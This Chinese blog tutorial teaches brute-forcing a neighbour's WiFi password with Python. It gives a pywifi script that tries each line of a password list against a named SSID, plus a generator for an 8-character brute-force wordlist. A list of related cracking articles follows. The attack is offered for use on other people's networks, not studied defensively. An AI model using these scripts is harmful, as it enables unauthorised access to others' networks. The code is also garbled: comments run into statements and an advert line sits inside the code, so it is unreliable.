如觉得博主文章写的不错或对你有所帮助的话,还望大家多多支持呀!关注、点赞、收藏、评论。

文章目录

  • 一、编写代码
    • 二、展示测试结果
      • 三、测试
        • 四、生成密码本(建议自己找一个密码本)

一、编写代码

在桌面新建一个文件

如果你新建的文件没有后缀名.txt,请进行如下设置

打开刚刚新建的文件,下面代码写入文件,保存

# coding:utf-8
import pywifi
from pywifi import const
import time
import datetime#测试连接,返回链接结果
def wifiConnect(pwd):#抓取网卡接口wifi=pywifi.PyWiFi()#获取第一个无线网卡ifaces=wifi.interfaces()[0]#断开所有连接ifaces.disconnect()time.sleep(1)wifistatus=ifaces.status()if wifistatus ==const.IFACE_DISCONNECTED:#创建WiFi连接文件profile=pywifi.Profile()#要连接WiFi的名称profile.ssid="TP-LINK_1301"#网卡的开放状态profile.auth=const.AUTH_ALG_OPEN#wifi加密算法,一般wifi加密算法为wpsprofile.akm.append(const.AKM_TYPE_WPA2PSK)#加密单元profile.cipher=const.CIPHER_TYPE_CCMP#调用密码profile.key=pwd#删除所有连接过的wifi文件ifaces.remove_all_network_profiles()#设定新的连接文件tep_profile=ifaces.add_network_profile(profile)ifaces.connect(tep_profile)#wifi连接时间time.sleep(1)if ifaces.status()==const.IFACE_CONNECTED:return Trueelse:return Falseelse:print("已有wifi连接") #读取密码本
def readPassword():print("开始破解:")#密码本路径path="C:\\Users\\糖果\\Desktop\\Markdown学习\\pwd.txt"
#打开文件file=open(path,"r")while True:try:#一行一行读取pad=file.readline()bool=wifiConnect(pad)Python学习交流群:748989764if bool:print("密码已破解: ",pad)print("WiFi已自动连接!!!")break#else:#跳出当前循环,进行下一次循环#print("密码破解中....密码校对: ",pad)except:continuestart=datetime.datetime.now()
readPassword()
end=datetime.datetime.now()
print("破解WIFI密码一共用了多长时间:{}".format(end-start))

将刚刚建的文件,重命名为:WiFi密码的破解代码.py(xxx.py均可)

二、展示测试结果

必备文件

三、测试

  1. 打开python软件

2.打开代码:

  • File→Open→破解WiFi密码.PY(找到破解代码)→打开

3.测试运行

  • 修改:WiFi名 和 密码本路径
  • 测试:Run→Run Module

四、生成密码本(建议自己找一个密码本)

  • 如果有密码本就不需要这个步骤

1.代码(密码中有重复的数字和字母)

             1.修改: 密码组成元素  和 密码保存路径

  1. 注意这个密码本生成需要很长时间,建议不要这样生成密码本
import itertools as its
import datetime#记录程序运行时间
start=datetime.datetime.now()words = '1234567890abcdefghijklmnopqrstuvwxyz'#这里可以加入字母和其他字符,使用string包更方便
# 生成密码的位数
r = its.product(words,repeat=8)#密码位数为9
dic =open(r"C:\\Users\\糖果\\Desktop\\Markdown学习\\pwd.txt",'a')
for i in r:dic.write(''.join(i))dic.write(''.join('\n'))print(i)
Python学习交流群:748989764
dic.close()
print('密码本生成好了')
end=datetime.datetime.now()
print("生成密码本一共用了多长时间:{}".format(end-start))
  1. 运行步骤和前面破解WiFi密码相同不再讲解。

利用Python暴力破解邻居家WiFi密码相关推荐

  1. 利用kali暴力破解获取windows账号密码

    利用kali暴力破解获取windows账号密码 步骤一:打开图形化软件hydra-gk 步骤二:设置目标系统地址 步骤三:选择用户名和密码 步骤四:设置任务编号和超时时间 步骤五:检查配置,然后选择s ...

  2. 如何获得邻居家WiFi密码(实用)

    经常出现家里没网,手机连接上邻居家WiFi,但是其他设备却无法连接的问题, 首先用手机WiFi万能钥匙破解开,连接上,接下来就是关键步骤了.从手机默认的WiFi按钮进入,如图 接着进入下面的页面 截图 ...

  3. Python黑科技——暴力破解邻居家的WiFi密码,用WiFi不需要求人

    流量不够用怎么办? 随着时代的发展,流量也是越来越不够用了,办无限网卡吗?月租太贵不划算,还是用Wi-Fi舒服,不用担心流量用没了,今天用python教大家写一个暴力破解Wi-Fi的程序,Wi-Fi在 ...

  4. Python开发万能钥匙小程序,成功获取邻居家Wifi密码(附源码)!

    平时回家看用手机看视频.打游戏的时候,如果没有wifi是不是特别心疼自己的流量?当然了如果你有无限流量那就当我没说了哈,没有wifi但是我可以用万能钥匙破解别人的wifi呀,万能钥匙是什么?如果你的手 ...

  5. Python实战案例,pywifi模块,Python暴力破译附近局域网WiFi密码

    前言 今天带大家Python 脚本实现 WIFI 密码的破译,废话不多说,直接开始~ 开发工具 Python版本: 3.6.4 相关模块: pywifi模块: datetime模块: 以及一些Pyth ...

  6. 利用 ARCHPR 暴力破解 压缩包解压密码

    当你在互联网辛苦搜索到心仪的稀有资源,并且花了大量时间才下载完成后,欣喜若狂准备解压时→卧了个槽,勒了个去,尼玛,居然要解压密码,压缩包注释里又没有解压密码,此时不用急,来个暴力破解. 首先下载 AR ...

  7. 使用python暴力破解zip压缩包的密码

    如果你有压缩包的密码忘记了,并且压缩包的加密算法采用的是ZipCrypto,并且压缩参数如下图所示: 那么你就可以使用本文中的方法进行破解. 压缩包的加密,是根据输入的密码进行运算加密,输入不同的密码 ...

  8. 如何用python破解热点_用30行Python代码制作wifi万能钥匙,邻居家wifi网速好快

    原标题:用30行Python代码制作wifi万能钥匙,邻居家wifi网速好快 当我们拖着疲惫的身体下班回到家,想开开心心的吹着空调风扇吃着西瓜,然后手机连上wifi打一把游戏好好舒服下,然而家里wif ...

  9. python爬虫教程:爬取破解无线网络wifi密码过程解析

    这篇文章主要介绍了Python爬取破解无线网络密码过程解析,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下 前言 今天从WiFi连接的原理,再结合代码 ...

最新文章

  1. 中国互联网+固体饮料行业商业模式创新与投资机会深度研究报告
  2. iOS下JS与OC互相调用(二)--WKWebView 拦截URL
  3. 南京林业大学计算机专升本,2018江苏专转本学校之:南京林业大学
  4. 机器学习(李航统计学习方法)
  5. 博客园-我的新的开始
  6. 注解 @Target 用法
  7. IOS学习:常用第三方库(GDataXMLNode:xml解析库)
  8. cairo填充_Cairo 图形指南 (5) —— 形状与填充
  9. react-redux草稿
  10. 10个宝藏级编程资源,让你省下8K学费不香吗
  11. 两个摄像头合成一路_64个高空抛物摄像头安装到位 同德社区居民双手点赞
  12. Windows Server 2008 R2入门之FTP服务器
  13. css3数字滚动特效
  14. css权重机制,CSS权重及其计算
  15. 原子结构示意图全部_所有原子结构示意图 (1)
  16. Python数据处理Tips数据离群值的5种常用处理方法和可视化
  17. 微信小程序蓝牙通讯、串口通讯、调试助手(HC-08等 )
  18. 【数据结构】给定中序序列,有多少种前序序列
  19. 计算机键盘没有fn,电脑上没有FN键怎么打开小键盘
  20. 给计算机老师的元旦祝福,元旦祝福语送老师_简短的送给老师的元旦祝福

热门文章

  1. 360浏览器怎么导入html,如何将360浏览器收藏网页导入到火狐浏览器中
  2. Linux基础学习Day2之基本概念及操作
  3. 领导的艺术:工作里怎么样做,才是包容
  4. ASEMI整流桥GBU410参数,GBU410介绍,GBU410代换
  5. ASEMI整流桥GBP406~GBP410,GBP406参数,GBP410图片
  6. 新浪cn邮箱设置收件和发件服务器信息,新浪cn邮箱如何设置
  7. 如何脱离AirtestIDE跑Airtest自动化脚本
  8. 你知道什么是软中断吗?
  9. 台大郭彦甫_MATLAB视频笔记(六)图形界面_GUI程序设计
  10. 不负春光不负卿,听康大厨讲讲OpenStack重要组件的那些事儿